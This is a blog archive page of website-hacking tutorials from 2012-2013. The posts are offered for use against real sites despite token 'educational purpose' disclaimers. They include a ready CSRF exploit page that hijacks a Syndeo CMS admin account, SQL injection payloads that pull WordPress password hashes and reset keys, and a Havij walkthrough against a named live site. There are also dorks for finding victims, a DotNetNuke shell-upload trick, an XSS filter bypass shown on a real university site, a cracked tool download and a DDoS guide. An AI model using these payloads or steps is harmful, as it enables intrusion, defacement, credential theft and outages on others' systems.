TipsS And TricksS: Website hacking

Showing posts with label Website hacking. Show all posts

Syndeo CMS Admin Password Change through CSRF

Posted by Anonymous at 7:21:00 am on Thursday, 5 December 2013

# Exploit Title: Syndeo CMS Admin Password Change through CSRF
# Google Dork: none
# Date: 5/12/2013
# Exploit Author: Aditya Joshi
# Vendor Homepage: http://www.syndeocms.org/
# Software Link: http://sourceforge.net/projects/syndeocms/files/1.%20SyndeoCMS/
# Version: 3.0.0
# Tested on: Windows 7

Discription ...
In Syndeo CMS an attacker can easily change admin name, password, email through CSRF vulnerability.
The vulnerability exists in http://localhost/cms/starnet/index.php?option=configuration&save=personal , where admin name , password change text fields are without any token.

Exploiting the BUG ...
Create a html page and paste following html code in it ...

exploit.html

<html>
<body onload="form1.submit();">
<form method="POST" name="form1" action="http://localhost/cms/starnet/index.php?option=configuration&save=personal">
<input class="textfield" type="text" value="hacker" size="40" name="fullname" tabindex="1"></input>
<input class="textfield" type="text" value="hacker@email.com" size="40" name="email" tabindex="2"></input>
<input class="textfield" type="text" value="admin" size="20" name="username" tabindex="3"></input>
<input class="textfield" type="password" value="hacker" size="20" name="password" tabindex="4"></input>
</form>
</body>
</html>

and upload malicious page to any free webhosting website..
Now send link of mailicous html page through Social Engenerring to the admin of the vulnerable syndeo web app

Greets ---> Aditya Dixit, Deejay alone , Indian Web King....

Google Dorks for finding SQL injection vulnerable sites

Posted by Anonymous at 9:41:00 am on Saturday, 17 August 2013

Hello friends today i will share some google dorks collection with you, which will help you in finding more SQLi vulnerable sites. These google dorks have been collected from various resources and sites.

I have created two text files for all the google dorks and zipped it, so you can download it from download link given below.

You can also find SQLi vulnerable sites by an another method which is posted here.

Now use any of the dork to find SQLi vulnerable site and then use manual technique or any tool like Havij to hack the vulnerable site.
Full guide on hacking SQLi vulnerable site is given here .

Download From Here

You can also follow me at twitter @darktruth190

And you can add me at facebook at fb.com/dark.truth007

Hacking Wordpress without hash cracking

Posted by Anonymous at 9:08:00 am on Sunday, 28 April 2013

Hey puntos today i am back with a new post for you . This post is about hacking worpdress blogs without cracking there hashes.

As we all know now the worpdress blogs are using higher alogrithem to encrypt blog passwords, which are not easy to crack. The only methods to crack these hashes is Brute Force but brute force takes too much time.

Now lets get started--->

Things you need --->

1. Wordpress version <= 3.4.2

2. Sql injection vulnerable wordpress site(make sure version of wp site is 3.4.2 or less than it)

Lets start --->

Find SQLi vulnerable worpdress site.

Like i get www.site.com?fbconnect_action=myhome&fbuserid=1

nw add this code after the wordpress site address

+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_email,0x3a,user_pass)%E2%80%8B,7,8,9,10,11,12+from+wp_users--

Nw address will look like

http://target.com/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_email,0x3a,user_pass)%E2%80%8B,7,8,9,10,11,12+from+wp_users--

lets start pwning

First go to http://target.com/wp-login.php
Now click on Lost your password ?

Now the wordpress will ask you for the username or email, enter the username or email id which you got on the field and click get password.

Now it will be saying "Check your e-mail for the confirmation link."

now what wordpress does is it sends an activation key to the email address also it sets the value of activation key in the database as well.

we will be getting the user activation key by sqli this is what its all about.

Add column name user_activation_key to extract

http://target/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_activa%E2%80%8Btion_key),7,8,9,10,11,12+from+wp_users--

Now you will be able to see the activation key

Now .. finally all we have to do is enter the following url to end of the site and edit it with your activation key and username

wp-login.php?action=rp&key=KEYHERE&login=USER NAME HERE

eg:-

http://target.com/wp-login.php?action=rp&key=cFn9vDsT3X2ZnW8vEda6&login=admin

Now the wordpress will ask u for ur new password enter your desired password & click change.

Now you will be able to login to site.

Now upload shell and then deface it.

Note -->
1. Only for educational purpose.
2. This hack only works on Worpdress versions 3.4.2 or less than it..

[TOOL]SQLSentinel:SQL Injection Vulnerability Scanner

Posted by Anonymous at 10:45:00 am on Saturday, 9 February 2013

Hey friends this is D@rk TruTH. Sorry for posting very late i was busy in my studies because my exams are coming.
Today I am bringing a new SQL injection hunter tool named SQLSentinel.

What is SQLSentinel -->

This tool is very good if u want to test a site vulnerable to SQL injection.

This tool use crawling function first found out links like index.php?id= and then check that these links are vulnerable or not.

It only found out vulnerabilities, but not hack it.

Usage of tool --->

1. First download it from here

2. Open .zip file and click on sqlsentinel.jar and it will open but make sure you have installed java.

3. After opening it add website url in Url box and click Start.

4. If it found some vulnerabilities then it will show you in Working logs text box like i get some in image given below.

5. Use Havij or any other SQL injection tool to hack website.

Note:-->

Only for educational purpose.

Hacking a website using SQL injection:Full method with Pics

Posted by Anonymous at 4:59:00 pm on Saturday, 5 January 2013

Today i am gonna show you how to hack a website using sql injection.To find SQL vulnerable sites refer to this post.

Now Lets start---->

Things you will need -->

1. Havij SQL injection Tool, download it from here(Run as Administrator)

2. A sql vunerable site, I am taking this site http://toyonorte.com.co/catalogo_nuevos_detalle.php?id=2 as an example.

3. A very important thing i.e mind.

Checking for sql vulnerability --->

Here i am taking http://toyonorte.com.co/catalogo_nuevos_detalle.php?id=2 as an example.

Now to check is this site vulnerable to sql, I will simply add ' after the site url

like this http://toyonorte.com.co/catalogo_nuevos_detalle.php?id=2'

and i get this error on the site

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

It means that site is vulnerable to sql injection.

Exploiting the vulnerable site --->

1. Open Havij and paste site url in target field and hit enter

2. Now wait for Havij to get all the databases of the website.

3. Now click on available databse of site and click on Get Tables like i am gonna select 535480_toyonorte of my site like in image.

4. By clicking Get Tables Havij will look after the tables available in the database.

5. Now after the scanning Havij will get all tables, now the main work start , you have to check it there table available named as admin, users and something similar to these words like i get usuario in my website and select it and click on Get Columns. Like in pic given below.

6. Now after clicking Get Columns havij will get all the columns available in users table.

7. In my case i found diffrent columns like id, login, pass an many more.

8. Now select the columns and click on Get Data like in pic given below.

9. Now havij will look after the data available in columns login and password i.e admin username and passowrd like i get

username --> adminpassword--> 21232f297a57a5a743894a0e4a801fc3 (in encrypted form)

Like in image below

10. Now after i get username and password there is a problem that passowrd i s encrypted in mdm language , so we have to crack it .

11. To crack encrypted password just copy password click on MD5 tab in havij and paste the encrypted password in MD5 hash field and hit start.Now havij will try to crack the password. Like i cracked in image given below.

12. Now i get Password cracked as admin.

13. Now we will check for admin panel where we gonna login with username and passoword.

14. To find admin panel click Find Admin tab in Havij and click start. Now havij will check the admin panel of website.

In my case i found http://toyonorte.com.co/admin/ as admin panel, now open it in a web browser and login with username and password and now you are in admin panel.

Notes--->

1. Website hacking is illegal

2. Use proxy, tor, vpn for your security.

3. This is for only educational purpose.

Whats next-->

In next post i am gonna show you how to upload shell through admin panel in a website.

So keep updated and visit site daily and also refer your friend...

[TUT]Finding SQLi Vulnerable Websites: A guide for beginners

Posted by Anonymous at 10:45:00 am on Thursday, 3 January 2013

As we all know Sql injection is that vulnerability which is mostly can be found in any server. Weather high profile sites or low profile sites all are found to br vulnerable to SQL injection.
But the problem comes when we unable to find vulnerable sites. So today i am gonna show you how to find these sites vulnerable to SQL injection.

So let get started--->

Method 1(finding sql vulnerable sites on a server)

As we all know on a server huge amount of sites are hosted. So using server for finding vulnerable sites is a good option..

Now lets try our first method......

1. First select any random site like is selected www.artcarworld.org

2. Now you to do a process called Reverse IP Lookup to this site so as to find site hosted on server where our selected site is hosted. To do Reverae IP Lookup you have to go to this site http://www.yougetsignal.com/tools/web-sites-on-web-server/ and the selected site in the Remote address field and click on Check like in image given below.

Now in image you can see the about 581 sites are hosted on same server where our selected site is hosted.

4. Now in image ip address of the server is given in top right corner, so copy.

5. Now open www.bing.com

6. In Search box type ip:98.129.229.170 php?id= and click on search icon.

Must replace 98.129.229.170 with your selected server ip.

7. After that bing will search the sites which have extension php?id= like this www.site.com/index.php?id= and it will give u a list of sites which ends with this extension php?id= like in image given below.

8. Now select any of one site and add ' after the url to check wheather site is vulnerable to SQL injection or not. If site is vunerable then its good if not then check other site from search result.

9. If found any site vulnerable to sql then Hack it using SQL Exploiter tools.

Method Second will be explained in next post.

Just comment if any problem and share my post.

Havij 1.16 pro Cracked and Portable

Posted by Anonymous at 7:48:00 pm on Monday, 31 December 2012

Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.

It can take advantage of a vulnerable web application. By using this software user can perform back-end database fingerprint, retrieve DBMS users and password hashes, dump tables and columns, fetching data from the database, running SQL statements and even accessing the underlying file system and executing commands on the operating system.

The power of Havij that makes it different from similar tools is its injection methods. The success rate is more than 95% at injectiong vulnerable targets using Havij.

The user friendly GUI (Graphical User Interface) of Havij and automated settings and detections makes it easy to use for everyone even amateur users.

How to run Havij--->

While running make sure u run it as administrtative, if u not do that this will give the error.

Download link--->

Download Here

Dnn- Website Hacking

Posted by Anonymous at 9:25:00 pm on Monday, 30 April 2012

DNN (Dot Net Nuke), It is the method of hacking website. it is simple and i think you can do it.
First you need a dnn Vulnerable site. Lets find that
You can find dnn vulnerable site by using dnn dorks
Just copy the following dorks and paste it into the google you will get dnn vulnerable site
Dorks to find the Dnn vul site

:inurl:/tabid/36/language/en-US/Default.aspx

Here are some commands which you have to insert into the dnn vul site

Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
javascript:__doPostBack('ctlURL$cmdUpload','')

First command you have to insert after the site URL
such as http://www.dnnvul.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
When you entered the first command you see a link gallery open
Now select the file option you can see in the pic below

After selecting the file option paste the java script into the address bar "javascript:__doPostBack('ctlURL$cmdUpload','') "
Now you see the option browser ( from this option you can enter your deface or shell in the site ).

After uploading you can see your deface in the site.... Yeah it's soo simple.. :D

Video tutorial coming soon....
i hope you all like it..... :D

Manual SQL Injection

Posted by Anonymous at 10:17:00 am on Sunday, 22 April 2012

Hey friends i have told you about sql in my previous and i m not going to discuss that here.

http://tech4lab.blogspot.in/2012/04/sql-structure-query-language-is.html

I have made a video tut on How to Hack SQL vul sites manually.

Watch video tut

http://youtu.be/7jGN4wY3Cto

Only for education purpose... Try it at your own Risk
i hope this video is helpful 2 u.... :D

Hack website - Havij tool

Posted by Anonymous at 12:09:00 am on Friday, 20 April 2012

Hey friends today i am going to tell you about sql injection . I m not going to discuss about sql injection here.

I will just tell you how to don it

let's start

First you need a vul site ( you can find this by using the sql dorks)

Here i am discussing about hacking a sql vul site with a tool ( havij ). So, I m not to going to tell anything about manual sql injection..

If you have a tool ( havij ) just copy the vuk site and paste it in a target . If you have a tool you can see this the target bar.

Rest you come to know from the video

video link

http://www.youtube.com/watch?v=C3PglAjLu0Q

Only for education purpose... Try it at your own Risk

i hope you like it.... :D

How to hack website - IIs method

Posted by Anonymous at 10:52:00 pm on Thursday, 19 April 2012

How to hack a site with IIS method . Hey friends this is the most easy method of hacking websites.

I have made a video tut on this method.

You can learn this method just by reading the steps but i have made more easy for you to understand this method more briefly and easily just by watching the video.

I found this method more easy than others method and make a video for you.

I have given some sites (iis vul) which you can can try those.. :D

watch video
http://youtu.be/OPpFczZLH5Y

Only for education purpose... Try it at your own Risk

i hope u like it..... :D

How to hack joomla blogs in backtrack 5

Posted by Anonymous at 9:35:00 pm on Tuesday, 3 April 2012

Here i am back with a new working hack to scan and exploit a joomla blog. Things you needed are following :--->
1.backtrack 5
2.Internet connection
3.And the most important a litte brain.
Here are following steps, please follow all the steps according to this post:------>
1. Click on Applications/Backtrack/Vulnerability assesment/Web Vulnerability assessment/CMS Vulnerability Identification/joomscan.

2.Now Joomla scanner console will open like in image.

3.Now console will open now type chmod 0777 joomscan.pl and hit enter.

4.Now type ./joomscan.pl -u www.YourJoomlasite.com in this in place of YourJoomalasite.com type your desired joomala site and hit enter it will start scanning it .

Cross site scripting a new way for website hacking

Posted by Anonymous at 5:58:00 am on Wednesday, 14 March 2012

I hope you have already heard about Cross Site Scripting known as XSS. Just go through this first en.wikipedia.org/wiki/Cross-site_scripting . I have focussed on finding an XSS hole and bypssing a filter.

XSS is a web application vulnerability that occurs due to improper or no filteration of user's input . It enables the malicious attackers to inject client-side script into web pages. This is not something with which you are gonna deface a website or break in admin panel. This bug can be dangerous for users if found on any online forms . Basically you can do mainly two things that are stealing user sessions and injecting iframes. Actually this bug is basically exploited to harm the visitors rather than administrators.Okay Lets learn the approach to find XSS bugs.

You might have tried finding an XSS hole by inserting a script like this <script>alert('XSS')</script> in Search fields and hoping for a box to popup saying XSS. But its not always the way to find a XSS bug.

This example will make you everything clear.

Okay, go to this URL

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=Overview

Lets Replace 'Overview' with any keyword . Say 'test' and hit enter

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=test

Now check the source code of page and search for keyword 'test' by using Ctrl+F and we can find that in the code.

Carefully, see where it got inserted in the source code

<title>Chitkara Educational Trust > test</title>

Now lets replace the 'test' with </title><h1>XSS</h1> and see what happens

Note- <h1> It is the html heading tag </h1>

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=</title><h1>XSS</h1>
We can see the keyword 'XSS' displayed on the webpage.

Lets again see the page source

We entered </title> to complete the title tag ( <title>) and <h1>XSS</h1> is the actually html tag we wanted to see on the page.

I hope it was a simple part and is clear to you.

Now Lets try to execute a javascript code <script>alert('XSS')</script>. A popup message box saying XSS should appear on the webpage.
Lets go to this URL

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=</title><script>alert('XSS')</script>

But Nothing Happens !!!

Now check the source code again

See the slashes ( \ ) automatically inserted before the single quotes ( ' ) ,we entered. Obviously,due to this our code didn't execute.This is a kind of filter that we need to bypass .

Here we will be using a javascript built in function called String.FromCharCode() that is used to encode/decode strings. Now both these codes
<script>alert('XSS')</script> and <script>alert(String.fromCharCode(88, 83, 83))</script>
has the same function but we can see that THERE ARE NO QUOTES IN SECOND CODE.

Note: 88 and 83 are ASCII values for X and S respectively. Visit this http://www.asciitable.com for more.

Finally, try this

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=</title><script>alert(String.fromCharCode(88, 83, 83))</script>

Yes, it worked.

So finally we have managed to execute a javascript :)

Easiest way to hack a wordpress blog

Posted by Anonymous at 7:54:00 pm on Sunday, 4 March 2012

Easy way of hacking Wordpress website

Hi here i tell you how to hack wordpress site with easy way i will use exploit to hacksites i saw lots of Messages that say "hey help can anyone can tell me how to hack wordpress" and it's an easy way with exploit ?

First we search with this in google to find sites

inurl:"wp-content/plugins/photoracer/viewimg.php?id="

see the Result :-

[Image: asdmr.png]

and i'm gonna test 1 of them for ex this find in google

http://www.badged.gr/wp-content/plugins/photoracer/viewimg.php?id=2

we are going to add the exploit : this is the exploit

/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--

and the site look like this

http://www.badged.gr/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--

http://img638.imageshack.us/img638/2927/asddy.png

now you can see the user and pass :D ! Just crack the hash and it's done
The admin panel is

http://Site/wp-login.php

How to Take down a website using DDoS Attack [complete tutrioal]

Posted by Anonymous at 4:36:00 pm on Wednesday, 29 February 2012

Introduction
Welcome to this tutorial, it's a Noob friendly tutorial about downing a site. I'll explain how everything works and how you can down a site!

DoS
The first thing i gonna talk about is a DoS.
DoS stands for Denial of Service.
A DoS is an attempt to make a computer or network resource unavailable to its intended users.

DDoS
DDoS stands for distributed denial-of-service.
To explain it in a couple words, a DDoS is the same as a DoS.
But with a DoS you are the one attack. DDoS'ing is shells around the world attacking.

To get started: Getting the IP of a Website
To attack a website you need the IP adress. There are many ways to get them, but i'll explain a really simple one.

Go to start, typ in "CMD" and press enter.
After that typ in "ping sitenamehere.com".
And press enter again, then you'll get the site IP.

DDOS Tool----
Now we will you use a ddos tool to take down a website. Tool we will use is RDOS it is a small tool but very powerfull,download link is given at end of post.

After downloading this tool open this and put the ip address of site and then enter the port which is 80. Now press entre and it will start showing * icon it means that website is not crashed, when - icon show then we came to know that website is crashed. You can see this by opening that website and it will open a error page.
Download Link -Rdos
Password is - thehackersgroup
Use It for educatioanl purpose..

You can also follow me at twitter @darktruth190

And you can add me at facebook at fb.com/dark.truth007

Now lets get started--->

Things you need --->

Lets start --->

What is SQLSentinel -->

Usage of tool --->

Now Lets start---->

Things you will need -->

Checking for sql vulnerability --->

Exploiting the vulnerable site --->

Notes--->

Whats next-->

Method 1(finding sql vulnerable sites on a server)

How to run Havij--->

Download link--->

Easy way of hacking Wordpress website

Donate Us

Qadbara

Qadbara 2

Cpm Add

Labels

Follow us on FaceBook

Page Counter

About

Popular Posts